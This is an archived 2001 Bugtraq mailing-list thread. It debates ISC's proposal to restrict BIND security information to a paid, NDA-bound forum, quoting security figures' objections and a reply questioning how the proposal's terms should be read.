security problems related to the BIND software is an extremely bad
idea. While I understand the need to protect the code from malicious
users, I fail to understand the need to charge for the privilege of
being amonst this "elite" crowd, and I absolutely disagree with
members being forced to sign a non-disclosure agreement. If the ISC
indeed goes ahead with this, I hope the Open Source community, to
whom this is a severe slight, decides to move forward with either a
branch of the BIND code to audit, secure, and most importantly keep
it 100% free, or a similar BIND replacement package. This is, of
course, my own personal opinion, and not necessarily the opinion of
my employer.
Greg Kroah-Hartman (WireX Communications - makers of ImmunixOS):
"We don't like this at all. If you are on the linux-elitists mailing
list, there's a great description of why someone thinks ISC is doing
this (I can forward it to you if you can't find it). And I don't
think that we would pony up the money to play with this."
http://zgp.org/pipermail/linux-elitists/2001-February/001494.html
Dragos Ruiu (Dursec - IDS expert and author), via email:
It is unfortunate that right now, no credible alternative exists to
bind, whose development by the ISC and Mr. Vixie's desire to close
the sources for it, locking out all except the for-pay cabal members
from viewing critical security information about it, leaves the
entire Internet reliant on a dubiously managed monocultural single
point of failure with a poor past record of security. The only
current credible alternative to bind I've found is currently djb-dns,
whose restrictive license prohibits anyone except DJB from
distributing patches or any code modifications or derivatives, and
this situation, if no other alternatives arise, leaves the Internet
at a high risk of a massive systemic failure - an unpleasant prospect.
Theo de Raadt (Head of the OpenBSD project) via email:
ISC has been building a "one shoe fits all" DNS server, designed for
everything from small servers to root servers with the .com hierarchy
on them. Good security software has well constrained behaviours and
small subcomponents, so that unexpected results are minimized. BIND
is not written that way, and has hundreds of little features. It can
be very difficult to assure the quality of software designed to run
in a wide assortment of ways. None of the BIND implimentations has
any of the basic principles we see in great security software, and
when we add in the uniquitous and mono-cultured nature of it's
deployment, the discovery of a really nasty bug could hit really
hard. Say, I-LOVE-YOU.in-addr.arpa? We need more DNS server choices.
A long list of emails was posted to Bugtraq. Of 23 emails posted,
only one was supportive, and this was from a major ISP
(rr.com). Among the comments were:
From: "Larry W. Cashdollar" (lwc@Vapid.dhs.org) This means only
system crackers and paying parties will be aware of security issues.
How is this model going to benifit the internet as a whole and the
security community? I rely on free information from lists like
bugtraq and cert to keep my systems secure. I now have to pay for my
own security?
From: Security Admin (security@cyberlink.ch) VERY harmful. This is
screaming for a code-fork, for the same procedure that happend with
SSH. If ISC doesn't back off, we're soon gonna have OpenBind.
Bind is not some simple application we can live without; it is one of
the fundamental components of the modern Internet. This type of
fee-based member forum sets an extremely worrying precedent. ISC also
controls DHCP (Dynamic Host Configuration Protocol), which is used by
many large organizations to remotely configure workstations for
network access.
If ISC is successful in this venture, similar software vendors will
be tempted to do the same, as it offers a nice revenue stream for a
service they currently provide for free. Furthermore, the restriction
of access to information will only result in non-member vendors
taking much longer to ship updates, hurting their customers and
increasing the number of vulnerable Bind servers.
ISC is playing with fire. They run the risk of seriously alienating
the user community and operating system vendors, who, if backed into
a corner, may not sign the NDA and pay the membership fees.
Kurt Seifried, seifried@securityportal.com
www.SecurityPortal.com - your focal point for security on the 'net
(6041478) --------------------------------(Ombruten)
Kommentar i text 6042608 av KuroiNeko <evpopkov@CARRIER.KIEV.UA>
6042608 2001-02-02 19:33 +0000 /53 rader/ KuroiNeko <evpopkov@CARRIER.KIEV.UA>
Sänt av: joel@lysator.liu.se
Importerad: 2001-02-03 00:54 av Brevbäraren (som är implementerad i) Python
Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM
Externa svar till: evpopkov@CARRIER.KIEV.UA
Mottagare: Bugtraq (import) <15182>
Kommentar till text 6041478 av Kurt Seifried <listuser@SEIFRIED.ORG>
Ärende: BIND, is it all that bad?
------------------------------------------------------------
From: KuroiNeko <evpopkov@CARRIER.KIEV.UA>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <3A7B0B6E.nailA81WTP57@ed.ed>
Hi all,
Do we really need to be worried that much about ISC's decision to
create a fee-based membership forum? I think that the major
problem is with the wording Paul Vixie's `pre-announcement.' The
line below is somewhat ambiguous to me:
> 2. Vendors who include BIND in their products
Is a person who installs and configures a server running BIND
assumed to be a vendor? After all, the server I've built is a
product. To provide an analogy, if you build a Linux-based server
totally from the most recent sources, can this be treated as your
own distro? You just don't burn it, and there's only a single
instance of it, but it's still something you've designed and
implemented. And charged your customer for.
Lists of requirements and features also need some clarifications
IMHO, and I believe they'll be reviewed soon.
In general, ISC needs some funds and it offers a paid service. If
you can discover a bug and patch it, good. If you can't and you
can pay and be informed on recent ISC's achievements in BIND
security in advance. And this only takes exploits found and patched
by ISC themselves. That's how I read it, correct me if I'm
wrong. Numerous BugTraq posters will still be able to share BIND
security information they have and I haven't found anything in Paul
Vixie's message that tells ISC will not allow them to. Unless they
are members of the forum, but that's another story.
So, good guys want to make some money and honestly warn us about
it, so there's no reason to yell at them :) I could call this
`much ado about nothing,' but there's one point not (yet) brought
to public attention. I don't want no allusions to the latest events
with a well-known company from Redmond, but it seems like having
only one product that provides such a crucial service is far from
perfect.
Yes, SMTP and DNS. sendmail and bind. The most used, the most
blessed, the most cursed. Worse admin's nightmares, crunching
gazillions of bytes every hour all around the world. Yes, Apache
too. They all have their weak and strong points, but that's not what
I'm talking about.
I stand on positions of elitism, I like it when someone or
something is number one. I'm just slightly nervous when something is
the only one. The reasons are numerous and I'm sure that honourable
BugTraq subscribers all know them well.
Again, control over three major 'Net services, SMTP, DNS and HTTP is
being concentrated. The teams are doing excellent work, but what's
waiting for them and for all of us at the end of the road?
--
ÌĤ¯Ç¤ÏÁͤòÊá¤é¤Ì
(6042608) --------------------------------(Ombruten)